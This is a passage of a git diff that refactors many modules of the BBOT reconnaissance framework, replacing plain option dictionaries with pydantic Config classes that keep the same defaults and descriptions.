"Minimum confidence to emit (UNKNOWN, LOW, MEDIUM, HIGH, CONFIRMED)", - } + class Config(BaseModuleConfig): + custom_nameservers: list = Field([], description='Force BadDNS to use a list of custom nameservers') + min_severity: str = Field('LOW', description='Minimum severity to emit (INFO, LOW, MEDIUM, HIGH, CRITICAL)') + min_confidence: str = Field('MEDIUM', description='Minimum confidence to emit (UNKNOWN, LOW, MEDIUM, HIGH, CONFIRMED)') module_threads = 8 deps_pip = ["baddns~=2.1.0"] diff --git a/bbot/modules/baddns_zone.py b/bbot/modules/baddns_zone.py index e13140c70a..5193b9ef81 100644 --- a/bbot/modules/baddns_zone.py +++ b/bbot/modules/baddns_zone.py @@ -1,4 +1,6 @@ from .baddns import baddns as baddns_module +from pydantic import Field +from bbot.core.config.models import BaseModuleConfig class baddns_zone(baddns_module): @@ -10,12 +12,10 @@ class baddns_zone(baddns_module): "created_date": "2024-01-29", "author": "@liquidsec", } - options = {"custom_nameservers": [], "min_severity": "INFO", "min_confidence": "MEDIUM"} - options_desc = { - "custom_nameservers": "Force BadDNS to use a list of custom nameservers", - "min_severity": "Minimum severity to emit (INFO, LOW, MEDIUM, HIGH, CRITICAL)", - "min_confidence": "Minimum confidence to emit (UNKNOWN, LOW, MEDIUM, HIGH, CONFIRMED)", - } + class Config(BaseModuleConfig): + custom_nameservers: list = Field([], description='Force BadDNS to use a list of custom nameservers') + min_severity: str = Field('INFO', description='Minimum severity to emit (INFO, LOW, MEDIUM, HIGH, CRITICAL)') + min_confidence: str = Field('MEDIUM', description='Minimum confidence to emit (UNKNOWN, LOW, MEDIUM, HIGH, CONFIRMED)') module_threads = 8 deps_pip = ["baddns~=2.1.0"] diff --git a/bbot/modules/badsecrets.py b/bbot/modules/badsecrets.py index a5f8049f9e..b398661604 100644 --- a/bbot/modules/badsecrets.py +++ b/bbot/modules/badsecrets.py @@ -2,6 +2,9 @@ from pathlib import Path from .base import BaseModule from badsecrets.base import carve_all_modules +from pydantic import Field +from bbot.core.config.models import BaseModuleConfig +from typing import Optional class badsecrets(BaseModule): @@ -13,10 +16,8 @@ class badsecrets(BaseModule): "created_date": "2022-11-19", "author": "@liquidsec", } - options = {"custom_secrets": None} - options_desc = { - "custom_secrets": "Include custom secrets loaded from a local file", - } + class Config(BaseModuleConfig): + custom_secrets: Optional[str] = Field(None, description='Include custom secrets loaded from a local file') deps_pip = ["badsecrets~=1.0.0"] async def setup(self): diff --git a/bbot/modules/bevigil.py b/bbot/modules/bevigil.py index 82d9e00c90..43de0fe4f9 100644 --- a/bbot/modules/bevigil.py +++ b/bbot/modules/bevigil.py @@ -1,4 +1,6 @@ from bbot.modules.templates.subdomain_enum import subdomain_enum_apikey +from pydantic import Field +from bbot.core.config.models import BaseModuleConfig class bevigil(subdomain_enum_apikey): @@ -15,8 +17,9 @@ class bevigil(subdomain_enum_apikey): "author": "@alt-glitch", "auth_required": True, } - options = {"api_key": "", "urls": False} - options_desc = {"api_key": "BeVigil OSINT API Key", "urls": "Emit URLs in addition to DNS_NAMEs"} + class Config(BaseModuleConfig): + api_key: str = Field('', description='BeVigil OSINT API Key') + urls: bool = Field(False, description='Emit URLs in addition to DNS_NAMEs') base_url = "https://osint.bevigil.com/api" diff --git a/bbot/modules/bucket_amazon.py b/bbot/modules/bucket_amazon.py index 1b9d7fd788..10cd2a3708 100644 --- a/bbot/modules/bucket_amazon.py +++ b/bbot/modules/bucket_amazon.py @@ -1,4 +1,6 @@ from bbot.modules.templates.bucket import bucket_template +from pydantic import Field +from bbot.core.config.models import BaseModuleConfig class bucket_amazon(bucket_template): @@ -10,10 +12,8 @@ class bucket_amazon(bucket_template): "created_date": "2022-11-04", "author": "@TheTechromancer", } - options = {"permutations": False} - options_desc = { - "permutations": "Whether to try permutations", - } + class Config(BaseModuleConfig): + permutations: bool = Field(False, description='Whether to try permutations') scope_distance_modifier = 3 cloudcheck_provider_name = "Amazon" diff --git a/bbot/modules/bucket_digitalocean.py b/bbot/modules/bucket_digitalocean.py index cd0e90a90c..a4ae6e7128 100644 --- a/bbot/modules/bucket_digitalocean.py +++ b/bbot/modules/bucket_digitalocean.py @@ -1,4 +1,6 @@ from bbot.modules.templates.bucket import bucket_template +from pydantic import Field +from bbot.core.config.models import BaseModuleConfig class bucket_digitalocean(bucket_template): @@ -10,10 +12,8 @@ class bucket_digitalocean(bucket_template): "created_date": "2022-11-08", "author": "@TheTechromancer", } - options = {"permutations": False} - options_desc = { - "permutations": "Whether to try permutations", - } + class Config(BaseModuleConfig): + permutations: bool = Field(False, description='Whether to try permutations') cloudcheck_provider_name = "DigitalOcean" delimiters = ("", "-") diff --git a/bbot/modules/bucket_file_enum.py b/bbot/modules/bucket_file_enum.py index 8849970e4b..ac96a94219 100644 --- a/bbot/modules/bucket_file_enum.py +++ b/bbot/modules/bucket_file_enum.py @@ -1,5 +1,7 @@ from bbot.modules.base import BaseModule import xml.etree.ElementTree as ET +from pydantic import Field +from bbot.core.config.models import BaseModuleConfig class bucket_file_enum(BaseModule): @@ -17,10 +19,8 @@ class bucket_file_enum(BaseModule): "author": "@TheTechromancer", } flags = ["safe", "passive", "cloud-enum"] - options = { - "file_limit": 50, - } - options_desc = {"file_limit": "Limit the number of files downloaded per bucket"} + class Config(BaseModuleConfig): + file_limit: int = Field(50, description='Limit the number of files downloaded per bucket') scope_distance_modifier = 2 async def setup(self): diff --git a/bbot/modules/bucket_firebase.py b/bbot/modules/bucket_firebase.py index 4859911a68..81fab8bfde 100644 --- a/bbot/modules/bucket_firebase.py +++ b/bbot/modules/bucket_firebase.py @@ -1,4 +1,6 @@ from bbot.modules.templates.bucket import bucket_template +from pydantic import Field +from bbot.core.config.models import BaseModuleConfig class bucket_firebase(bucket_template): @@ -10,10 +12,8 @@ class bucket_firebase(bucket_template): "created_date": "2023-03-20", "author": "@TheTechromancer", } - options = {"permutations": False} - options_desc = { - "permutations": "Whether to try permutations", - } + class Config(BaseModuleConfig): + permutations: bool = Field(False, description='Whether to try permutations') cloudcheck_provider_name = "Google" delimiters = ("", "-") diff --git a/bbot/modules/bucket_google.py b/bbot/modules/bucket_google.py index 338db450c4..5610c87773 100644 --- a/bbot/modules/bucket_google.py +++ b/bbot/modules/bucket_google.py @@ -1,4 +1,6 @@ from bbot.modules.templates.bucket import bucket_template +from pydantic import Field +from bbot.core.config.models import BaseModuleConfig class bucket_google(bucket_template): @@ -14,10 +16,8 @@ class bucket_google(bucket_template): "created_date": "2022-11-04", "author": "@TheTechromancer", } - options = {"permutations": False} - options_desc = { - "permutations": "Whether to try permutations", - } + class Config(BaseModuleConfig): + permutations: bool = Field(False, description='Whether to try permutations') cloudcheck_provider_name = "Google" delimiters = ("", "-", ".", "_") diff --git a/bbot/modules/bucket_microsoft.py b/bbot/modules/bucket_microsoft.py index 9dc5924c0a..b392f0307a 100644 --- a/bbot/modules/bucket_microsoft.py +++ b/bbot/modules/bucket_microsoft.py @@ -1,4 +1,6 @@ from bbot.modules.templates.bucket import bucket_template +from pydantic import Field +from bbot.core.config.models import BaseModuleConfig class bucket_microsoft(bucket_template): @@ -10,10 +12,8 @@ class bucket_microsoft(bucket_template): "created_date": "2022-11-04", "author": "@TheTechromancer", } - options = {"permutations": False} - options_desc = { - "permutations": "Whether to try permutations", - } + class Config(BaseModuleConfig): + permutations: bool = Field(False, description='Whether to try permutations') cloudcheck_provider_name = "Microsoft" delimiters = ("", "-") diff --git a/bbot/modules/bufferoverrun.py b/bbot/modules/bufferoverrun.py index 18b10b2e56..aa3b5c6c99 100644 --- a/bbot/modules/bufferoverrun.py +++ b/bbot/modules/bufferoverrun.py @@ -1,4 +1,6 @@ from bbot.modules.templates.subdomain_enum import subdomain_enum_apikey +from pydantic import Field +from bbot.core.config.models import BaseModuleConfig class BufferOverrun(subdomain_enum_apikey): @@ -11,8 +13,9 @@ class BufferOverrun(subdomain_enum_apikey): "author": "@TheTechromancer", "auth_required": True, } - options = {"api_key": "", "commercial": False} - options_desc = {"api_key": "BufferOverrun API key", "commercial": "Use commercial API"} + class Config(BaseModuleConfig): + api_key: str = Field('', description='BufferOverrun API key') + commercial: bool = Field(False, description='Use commercial API') base_url = "https://tls.bufferover.run/dns" commercial_base_url = "https://bufferover-run-tls.p.rapidapi.com/ipv4/dns" diff --git a/bbot/modules/builtwith.py b/bbot/modules/builtwith.py index 054818c942..6dad9b6e5c 100644 --- a/bbot/modules/builtwith.py +++ b/bbot/modules/builtwith.py @@ -11,6 +11,8 @@ ############################################################ from bbot.modules.templates.subdomain_enum import subdomain_enum_apikey +from pydantic import Field +from bbot.core.config.models import BaseModuleConfig class builtwith(subdomain_enum_apikey): @@ -23,8 +25,9 @@ class builtwith(subdomain_enum_apikey): "author": "@TheTechromancer", "auth_required": True, } - options = {"api_key": "", "redirects": True} - options_desc = {"api_key": "Builtwith API key", "redirects": "Also look up inbound and outbound redirects"} + class Config(BaseModuleConfig): + api_key: str = Field('', description='Builtwith API key') + redirects: bool = Field(True, description='Also look up inbound and outbound redirects') base_url = "https://api.builtwith.com" async def handle_event(self, event): diff --git a/bbot/modules/c99.py b/bbot/modules/c99.py index 84b3eafc6c..686861cb07 100644 --- a/bbot/modules/c99.py +++ b/bbot/modules/c99.py @@ -1,4 +1,6 @@ from bbot.modules.templates.subdomain_enum import subdomain_enum_apikey +from pydantic import Field +from bbot.core.config.models import BaseModuleConfig class c99(subdomain_enum_apikey): @@ -11,8 +13,8 @@ class c99(subdomain_enum_apikey): "author": "@TheTechromancer", "auth_required": True, } - options = {"api_key": ""} - options_desc = {"api_key": "c99.nl API key"} + class Config(BaseModuleConfig): + api_key: str = Field('', description='c99.nl API key') base_url = "https://api.c99.nl" ping_url = f"{base_url}/randomnumber?key={{api_key}}&between=1,100&json" diff --git a/bbot/modules/censys_dns.py b/bbot/modules/censys_dns.py index 7e4a397eb8..dc58d5bb7c 100644 --- a/bbot/modules/censys_dns.py +++ b/bbot/modules/censys_dns.py @@ -1,4 +1,6 @@ from bbot.modules.templates.censys import censys +from pydantic import Field +from bbot.core.config.models import BaseModuleConfig class censys_dns(censys): @@ -16,11 +18,9 @@ class censys_dns(censys): "author": "@TheTechromancer", "auth_required": True, } - options = {"api_key": "", "max_pages": 5} - options_desc = { - "api_key": "Censys.io API Key in the format of 'key:secret'", - "max_pages": "Maximum number of pages to fetch (100 results per page)", - } + class Config(BaseModuleConfig): + api_key: str = Field('', description="Censys.io API Key in the format of 'key:secret'") + max_pages: int = Field(5, description='Maximum number of pages to fetch (100 results per page)') async def setup(self): self.max_pages = self.config.get("max_pages", 5) diff --git a/bbot/modules/censys_ip.py b/bbot/modules/censys_ip.py index 374323b8fe..a631c82e7e 100644 --- a/bbot/modules/censys_ip.py +++ b/bbot/modules/censys_ip.py @@ -1,4 +1,6 @@ from bbot.modules.templates.censys import censys +from pydantic import Field +from bbot.core.config.models import BaseModuleConfig class censys_ip(censys): @@ -23,12 +25,10 @@ class censys_ip(censys): "author": "@TheTechromancer", "auth_required": True, } - options = {"api_key": "", "dns_names_limit": 100, "in_scope_only": True} - options_desc = { - "api_key": "Censys.io API Key in the format of 'key:secret'", - "dns_names_limit": "Maximum number of DNS names to extract from dns.names (default 100)", - "in_scope_only": "Only query in-scope IPs. If False, will query up to distance 1.", - } + class Config(BaseModuleConfig): + api_key: str = Field('', description="Censys.io API Key in the format of 'key:secret'") + dns_names_limit: int = Field(100, description='Maximum number of DNS names to extract from dns.names (default 100)') + in_scope_only: bool = Field(True, description='Only query in-scope IPs. If False, will query up to distance 1.') scope_distance_modifier = 1 async def setup(self): diff --git a/bbot/modules/chaos.py b/bbot/modules/chaos.py index 9c4255e542..ea094fd44d 100644 --- a/bbot/modules/chaos.py +++ b/bbot/modules/chaos.py @@ -1,4 +1,6 @@ from bbot.modules.templates.subdomain_enum import subdomain_enum_apikey +from pydantic import Field +from bbot.core.config.models import BaseModuleConfig class chaos(subdomain_enum_apikey): @@ -11,8 +13,8 @@ class chaos(subdomain_enum_apikey): "author": "@TheTechromancer", "auth_required": True, } - options = {"api_key": ""} - options_desc = {"api_key": "Chaos API key"} + class Config(BaseModuleConfig): + api_key: str = Field('', description='Chaos API key') base_url = "https://dns.projectdiscovery.io/dns" ping_url = f"{base_url}/example.com" diff --git a/bbot/modules/credshed.py b/bbot/modules/credshed.py index ea1bf707c1..a363a31f39 100644 --- a/bbot/modules/credshed.py +++ b/bbot/modules/credshed.py @@ -1,6 +1,8 @@ from contextlib import suppress from bbot.modules.templates.subdomain_enum import subdomain_enum +from pydantic import Field +from bbot.core.config.models import BaseModuleConfig class credshed(subdomain_enum): @@ -13,12 +15,10 @@ class credshed(subdomain_enum): "author": "@SpamFaux", "auth_required": True, } - options = {"username": "", "password": "", "credshed_url": ""} - options_desc = { - "username": "Credshed username", - "password": "Credshed password", - "credshed_url": "URL of credshed server", - } + class Config(BaseModuleConfig): + username: str = Field('', description='Credshed username') + password: str = Field('', description='Credshed password') + credshed_url: str = Field('', description='URL of credshed server') target_only = True async def setup(self): diff --git a/bbot/modules/dehashed.py b/bbot/modules/dehashed.py index 701425407f..6d0cdc907b 100644 --- a/bbot/modules/dehashed.py +++ b/bbot/modules/dehashed.py @@ -1,6 +1,8 @@ from contextlib import suppress from bbot.modules.templates.subdomain_enum import subdomain_enum +from pydantic import Field +from bbot.core.config.models import BaseModuleConfig class dehashed(subdomain_enum): @@ -13,8 +15,8 @@ class dehashed(subdomain_enum): "author": "@SpamFaux", "auth_required": True, } - options = {"api_key": ""} - options_desc = {"api_key": "DeHashed API Key"} + class Config(BaseModuleConfig): + api_key: str = Field('', description='DeHashed API Key') target_only = True base_url = "https://api.dehashed.com/v2/search" diff --git a/bbot/modules/dnsbimi.py b/bbot/modules/dnsbimi.py index d301857d30..152496c732 100644 --- a/bbot/modules/dnsbimi.py +++ b/bbot/modules/dnsbimi.py @@ -28,6 +28,8 @@ from bbot.core.helpers.dns.helpers import record_to_text, service_record import re +from pydantic import Field +from bbot.core.config.models import BaseModuleConfig # Handle "v=BIMI1; l=; a=;" == RFC conformant explicit declination to publish, e.g. useful on a sub-domain if you don't want the sub-domain to have a BIMI logo, yet your registered domain does? # Handle "v=BIMI1; l=; a=" == RFC non-conformant explicit declination to publish @@ -52,16 +54,10 @@ class dnsbimi(BaseModule): "author": "@colin-stubbs", "created_date": "2024-11-15", } - options = { - "emit_raw_dns_records": False, - "emit_urls": True, - "selectors": "default,email,mail,bimi", - } - options_desc = { - "emit_raw_dns_records": "Emit RAW_DNS_RECORD events", - "emit_urls": "Emit URL_UNVERIFIED events", - "selectors": "CSV list of BIMI selectors to check", - } + class Config(BaseModuleConfig): + emit_raw_dns_records: bool = Field(False, description='Emit RAW_DNS_RECORD events') + emit_urls: bool = Field(True, description='Emit URL_UNVERIFIED events') + selectors: str = Field('default,email,mail,bimi', description='CSV list of BIMI selectors to check') async def setup(self): self.emit_raw_dns_records = self.config.get("emit_raw_dns_records", False) diff --git a/bbot/modules/dnsbrute.py b/bbot/modules/dnsbrute.py index 77df6124ac..00b194cacb 100644 --- a/bbot/modules/dnsbrute.py +++ b/bbot/modules/dnsbrute.py @@ -1,4 +1,6 @@ from bbot.modules.templates.subdomain_enum import subdomain_enum +from pydantic import Field +from bbot.core.config.models import BaseModuleConfig class dnsbrute(subdomain_enum): @@ -10,14 +12,9 @@ class dnsbrute(subdomain_enum): "author": "@TheTechromancer", "created_date": "2024-04-24", } - options = { - "wordlist": "https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/DNS/subdomains-top1million-5000.txt", - "max_depth": 5, - } - options_desc = { - "wordlist": "Subdomain wordlist URL", - "max_depth": "How many subdomains deep to brute force, i.e. 5.4.3.2.1.evilcorp.com", - } + class Config(BaseModuleConfig): + wordlist: str = Field('https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/DNS/subdomains-top1million-5000.txt', description='Subdomain wordlist URL') + max_depth: int = Field(5, description='How many subdomains deep to brute force, i.e. 5.4.3.2.1.evilcorp.com') deps_common = ["massdns"] reject_wildcards = "strict" dedup_strategy = "lowest_parent" diff --git a/bbot/modules/dnsbrute_mutations.py b/bbot/modules/dnsbrute_mutations.py index aeb695fb6d..4ef4fd29bb 100644 --- a/bbot/modules/dnsbrute_mutations.py +++ b/bbot/modules/dnsbrute_mutations.py @@ -1,6 +1,8 @@ import time from bbot.modules.base import BaseModule +from pydantic import Field +from bbot.core.config.models import BaseModuleConfig class dnsbrute_mutations(BaseModule): @@ -12,12 +14,8 @@ class dnsbrute_mutations(BaseModule): "author": "@TheTechromancer", "created_date": "2024-04-25", } - options = { - "max_mutations": 100, - } - options_desc = { - "max_mutations": "Maximum number of target-specific mutations to try per subdomain", - } + class Config(BaseModuleConfig): + max_mutations: int = Field(100, description='Maximum number of target-specific mutations to try per subdomain') deps_common = ["massdns"] _qsize = 10000 diff --git a/bbot/modules/dnscaa.py b/bbot/modules/dnscaa.py index 0f8fa9ee96..136c09339e 100644 --- a/bbot/modules/dnscaa.py +++ b/bbot/modules/dnscaa.py @@ -22,6 +22,8 @@ from bbot.modules.base import BaseModule from bbot.core.helpers.regexes import dns_name_extraction_regex, email_regex, url_regexes +from pydantic import Field +from bbot.core.config.models import BaseModuleConfig class dnscaa(BaseModule): @@ -29,18 +31,11 @@ class dnscaa(BaseModule): produced_events = ["DNS_NAME", "EMAIL_ADDRESS", "URL_UNVERIFIED"] flags = ["safe", "subdomain-enum", "email-enum", "passive"] meta = {"description": "Check for CAA records", "author": "@colin-stubbs", "created_date": "2024-05-26"} - options = { - "in_scope_only": True, - "dns_names": True, - "emails": True, - "urls": True, - } - options_desc = { - "in_scope_only": "Only check in-scope domains", - "dns_names": "emit DNS_NAME events", - "emails": "emit EMAIL_ADDRESS events", - "urls": "emit URL_UNVERIFIED events", - } + class Config(BaseModuleConfig): + in_scope_only: bool = Field(True, description='Only check in-scope domains') + dns_names: bool = Field(True, description='emit DNS_NAME events') + emails: bool = Field(True, description='emit EMAIL_ADDRESS events') + urls: bool = Field(True, description='emit URL_UNVERIFIED events') # accept DNS_NAMEs out to 2 hops if in_scope_only is False scope_distance_modifier = 2 diff --git a/bbot/modules/dnscommonsrv.py b/bbot/modules/dnscommonsrv.py index 65bff03a2f..203f82939b 100644 --- a/bbot/modules/dnscommonsrv.py +++ b/bbot/modules/dnscommonsrv.py @@ -1,5 +1,7 @@ from bbot.core.helpers.dns.helpers import common_srvs from bbot.modules.templates.subdomain_enum import subdomain_enum +from pydantic import Field +from bbot.core.config.models import BaseModuleConfig class dnscommonsrv(subdomain_enum): @@ -10,8 +12,8 @@ class dnscommonsrv(subdomain_enum): dedup_strategy = "lowest_parent" deps_common = ["massdns"] - options = {"max_depth": 2} - options_desc = {"max_depth": "The maximum subdomain depth to brute-force SRV records"} + class Config(BaseModuleConfig): + max_depth: int = Field(2, description='The maximum subdomain depth to brute-force SRV records') async def setup(self): self.max_subdomain_depth = self.config.get("max_depth", 2) diff --git a/bbot/modules/dnstlsrpt.py b/bbot/modules/dnstlsrpt.py index 7c45759478..0dc5efce44 100644 --- a/bbot/modules/dnstlsrpt.py +++ b/bbot/modules/dnstlsrpt.py @@ -20,6 +20,8 @@ import re from bbot.core.helpers.regexes import email_regex, url_regexes +from pydantic import Field +from bbot.core.config.models import BaseModuleConfig _tlsrpt_regex = r"^v=(?PTLSRPTv[0-9]+); *(?P.*)$" tlsrpt_regex = re.compile(_tlsrpt_regex, re.I) @@ -40,16 +42,10 @@ class dnstlsrpt(BaseModule): "author": "@colin-stubbs", "created_date": "2024-07-26", } - options = { - "emit_emails": True, - "emit_raw_dns_records": False, - "emit_urls": True, - } - options_desc = { - "emit_emails": "Emit EMAIL_ADDRESS events", - "emit_raw_dns_records": "Emit RAW_DNS_RECORD events", - "emit_urls": "Emit URL_UNVERIFIED events", - } + class Config(BaseModuleConfig): + emit_emails: bool = Field(True, description='Emit EMAIL_ADDRESS events') + emit_raw_dns_records: bool = Field(False, description='Emit RAW_DNS_RECORD events') + emit_urls: bool = Field(True, description='Emit URL_UNVERIFIED events') async def setup(self): self.emit_emails = self.config.get("emit_emails", True) diff --git a/bbot/modules/docker_pull.py b/bbot/modules/docker_pull.py index ad702cc5e3..bbf193d593 100644 --- a/bbot/modules/docker_pull.py +++ b/bbot/modules/docker_pull.py @@ -3,6 +3,8 @@ import tarfile from pathlib import Path from bbot.modules.base import BaseModule +from pydantic import Field +from bbot.core.config.models import BaseModuleConfig class docker_pull(BaseModule): @@ -14,11 +16,9 @@ class docker_pull(BaseModule): "created_date": "2024-03-24", "author": "@domwhewell-sage", } - options = {"all_tags": False, "output_folder": ""} - options_desc = { - "all_tags": "Download all tags from each registry (Default False)", - "output_folder": "Folder to download docker repositories to. If not specified, downloaded docker images will be deleted when the scan completes, to minimize disk usage.", - } + class Config(BaseModuleConfig): + all_tags: bool = Field(False, description='Download all tags from each registry (Default False)') + output_folder: str = Field('', description='Folder to download docker repositories to. If not specified, downloaded docker images will be deleted when the scan completes, to minimize disk usage.') scope_distance_modifier = 2 diff --git a/bbot/modules/ffuf.py b/bbot/modules/ffuf.py index 4076b02024..97e7d46265 100644 --- a/bbot/modules/ffuf.py +++ b/bbot/modules/ffuf.py @@ -4,6 +4,8 @@ import string import json import base64 +from pydantic import Field +from bbot.core.config.models import BaseModuleConfig class ffuf(BaseModule): @@ -12,23 +14,14 @@ class ffuf(BaseModule): flags = ["loud", "active"] meta = {"description": "A fast web fuzzer written in Go", "created_date": "2022-04-10", "author": "@liquidsec"} - options = { - "wordlist": "https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/raft-small-directories.txt", - "lines": 5000, - "max_depth": 0, - "extensions": "", - "ignore_case": False, - "rate": 0, - } - - options_desc = { - "wordlist": "Specify wordlist to use when finding directories", - "lines": "take only the first N lines from the wordlist when finding directories", - "max_depth": "the maximum directory depth to attempt to solve", - "extensions": "Optionally include a list of extensions to extend the keyword with (comma separated)", - "ignore_case": "Only put lowercase words into the wordlist", - "rate": "Rate of requests per second (default: 0)", - } + class Config(BaseModuleConfig): + wordlist: str = Field('https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/raft-small-directories.txt', description='Specify wordlist to use when finding directories') + lines: int = Field(5000, description='take only the first N lines from the wordlist when finding directories') + max_depth: int = Field(0, description='the maximum directory depth to attempt to solve') + extensions: str = Field('', description='Optionally include a list of extensions to extend the keyword with (comma separated)') + ignore_case: bool = Field(False, description='Only put lowercase words into the wordlist') + rate: int = Field(0, description='Rate of requests per second (default: 0)') + deps_common = ["ffuf"] diff --git a/bbot/modules/ffuf_shortnames.py b/bbot/modules/ffuf_shortnames.py index f002b4e613..ceab878337 100644 --- a/bbot/modules/ffuf_shortnames.py +++ b/bbot/modules/ffuf_shortnames.py @@ -4,6 +4,8 @@ import string from bbot.modules.ffuf import ffuf +from pydantic import Field +from bbot.core.config.models import BaseModuleConfig class ffuf_shortnames(ffuf): @@ -16,31 +18,18 @@ class ffuf_shortnames(ffuf): "author": "@liquidsec", } - options = { - "wordlist_extensions": "", # default is defined within setup function - "max_depth": 1, - "version": "2.0.0", - "extensions": "", - "ignore_redirects": True, - "find_common_prefixes": False, - "find_delimiters": True, - "find_subwords": False, - "max_predictions": 250, - "rate": 0, - } + class Config(BaseModuleConfig): + wordlist_extensions: str = Field('', description='Specify wordlist to use when making extension lists') + max_depth: int = Field(1, description='the maximum directory depth to attempt to solve') + version: str = Field('2.0.0', description='ffuf version') + extensions: str = Field('', description='Optionally include a list of extensions to extend the keyword with (comma separated)') + ignore_redirects: bool = Field(True, description='Explicitly ignore redirects (301,302)') + find_common_prefixes: bool = Field(False, description='Attempt to automatically detect common prefixes and make additional ffuf runs against them') + find_delimiters: bool = Field(True, description='Attempt to detect common delimiters and make additional ffuf runs against them') + find_subwords: bool = Field(False, description='Attempt to detect subwords and make additional ffuf runs against them') + max_predictions: int = Field(250, description='The maximum number of predictions to generate per shortname prefix') + rate: int = Field(0, description='Rate of requests per second (default: 0)') - options_desc = { - "wordlist_extensions": "Specify wordlist to use when making extension lists", - "max_depth": "the maximum directory depth to attempt to solve", - "version": "ffuf version", - "extensions": "Optionally include a list of extensions to extend the keyword with (comma separated)", - "ignore_redirects": "Explicitly ignore redirects (301,302)", - "find_common_prefixes": "Attempt to automatically detect common prefixes and make additional ffuf runs against them", - "find_delimiters": "Attempt to detect common delimiters and make additional ffuf runs against them", - "find_subwords": "Attempt to detect subwords and make additional ffuf runs against them", - "max_predictions": "The maximum number of predictions to generate per shortname prefix", - "rate": "Rate of requests per second (default: 0)", - } deps_pip = ["numpy"] deps_common = ["ffuf"] diff --git a/bbot/modules/filedownload.py b/bbot/modules/filedownload.py index adb50f7857..ac15e0b576 100644 --- a/bbot/modules/filedownload.py +++ b/bbot/modules/filedownload.py @@ -2,6 +2,8 @@ from pathlib import Path from bbot.modules.base import BaseModule +from pydantic import Field +from bbot.core.config.models import BaseModuleConfig class filedownload(BaseModule): @@ -20,77 +22,10 @@ class filedownload(BaseModule): "created_date": "2023-10-11", "author": "@TheTechromancer", } - options = { - "extensions": [ - "bak", # Backup File - "bash", # Bash Script or Configuration - "bashrc", # Bash Script or Configuration - "cfg", # Configuration File - "conf", # Configuration File - "crt", # Certificate File - "csv", # Comma Separated Values File - "db", # SQLite Database File - "dll", # Windows Dynamic Link Library - "doc", # Microsoft Word Document (Old Format) - "docx", # Microsoft Word Document - "exe", # Windows PE executable - "ica", # Citrix Independent Computing Architecture File - "indd", # Adobe InDesign Document - "ini", # Initialization File - "jar", # Java Archive - "json", # JSON File - "key", # Private Key File - "log", # Log File - "markdown", # Markdown File - "md", # Markdown File - "msi", # Windows setup file - "odg", # OpenDocument Graphics (LibreOffice, OpenOffice) - "odp", # OpenDocument Presentation (LibreOffice, OpenOffice) - "ods", # OpenDocument Spreadsheet (LibreOffice, OpenOffice) - "odt", # OpenDocument Text (LibreOffice, OpenOffice) - "pdf", # Adobe Portable Document Format - "pem", # Privacy Enhanced Mail (SSL certificate) - "pps", # Microsoft PowerPoint Slideshow (Old Format) - "ppsx", # Microsoft PowerPoint Slideshow - "ppt", # Microsoft PowerPoint Presentation (Old Format) - "pptx", # Microsoft PowerPoint Presentation - "ps1", # PowerShell Script - "pub", # Public Key File - "raw", # Raw Image File Format - "rdp", # Remote Desktop Protocol File - "rsa", # RSA Private Key File - "sh", # Shell Script - "sql", # SQL Database Dump - "sqlite", # SQLite Database File - "swp", # Swap File (temporary file, often Vim) - "sxw", # OpenOffice.org Writer document - "tar.gz", # Gzip-Compressed Tar Archive - "tgz", # Gzip-Compressed Tar Archive - "tar", # Tar Archive - "txt", # Plain Text Document - "vbs", # Visual Basic Script - "war", # Java Web Archive - "wpd", # WordPerfect Document - "xls", # Microsoft Excel Spreadsheet (Old Format) - "xlsx", # Microsoft Excel Spreadsheet - "xml", # eXtensible Markup Language File - "yaml", # YAML Ain't Markup Language - "yml", # YAML Ain't Markup Language - "zip", # Zip Archive - "lzma", # LZMA Compressed File - "rar", # RAR Compressed File - "7z", # 7-Zip Compressed File - "xz", # XZ Compressed File - "bz2", # Bzip2 Compressed File - ], - "max_filesize": "10MB", - "output_folder": "", - } - options_desc = { - "extensions": "File extensions to download", - "max_filesize": "Cancel download if filesize is greater than this size", - "output_folder": "Folder to download files to. If not specified, downloaded files will be deleted when the scan completes, to minimize disk usage.", - } + class Config(BaseModuleConfig): + extensions: list[str] = Field(['bak', 'bash', 'bashrc', 'cfg', 'conf', 'crt', 'csv', 'db', 'dll', 'doc', 'docx', 'exe', 'ica', 'indd', 'ini', 'jar', 'json', 'key', 'log', 'markdown', 'md', 'msi', 'odg', 'odp', 'ods', 'odt', 'pdf', 'pem', 'pps', 'ppsx', 'ppt', 'pptx', 'ps1', 'pub', 'raw', 'rdp', 'rsa', 'sh', 'sql', 'sqlite', 'swp', 'sxw', 'tar.gz', 'tgz', 'tar', 'txt', 'vbs', 'war', 'wpd', 'xls', 'xlsx', 'xml', 'yaml', 'yml', 'zip', 'lzma', 'rar', '7z', 'xz', 'bz2'], description='File extensions to download') + max_filesize: str = Field('10MB', description='Cancel download if filesize is greater than this size') + output_folder: str = Field('', description='Folder to download files to. If not specified, downloaded files will be deleted when the scan completes, to minimize disk usage.') scope_distance_modifier = 3 diff --git a/bbot/modules/fingerprintx.py b/bbot/modules/fingerprintx.py index bea096dfeb..667b8cc45d 100644 --- a/bbot/modules/fingerprintx.py +++ b/bbot/modules/fingerprintx.py @@ -1,6 +1,8 @@ import json import subprocess from bbot.modules.base import BaseModule +from pydantic import Field +from bbot.core.config.models import BaseModuleConfig class fingerprintx(BaseModule): @@ -12,14 +14,13 @@ class fingerprintx(BaseModule): "created_date": "2023-01-30", "author": "@TheTechromancer", } - options = {"version": "1.1.4"} - options_desc = {"version": "fingerprintx version"} _batch_size = 10 _module_threads = 2 _priority = 2 - options = {"skip_common_web": True} - options_desc = {"skip_common_web": "Skip common web ports such as 80, 443, 8080, 8443, etc."} + class Config(BaseModuleConfig): + version: str = Field("1.1.4", description="fingerprintx version") + skip_common_web: bool = Field(True, description="Skip common web ports such as 80, 443, 8080, 8443, etc.") deps_ansible = [ { diff --git a/bbot/modules/fullhunt.py b/bbot/modules/fullhunt.py index 584dafb143..90839b195c 100644 --- a/bbot/modules/fullhunt.py +++ b/bbot/modules/fullhunt.py @@ -1,4 +1,6 @@ from bbot.modules.templates.subdomain_enum import subdomain_enum_apikey +from pydantic import Field +from bbot.core.config.models import BaseModuleConfig class fullhunt(subdomain_enum_apikey): @@ -11,8 +13,8 @@ class fullhunt(subdomain_enum_apikey): "author": "@TheTechromancer", "auth_required": True, } - options = {"api_key": ""} - options_desc = {"api_key": "FullHunt API Key"} + class 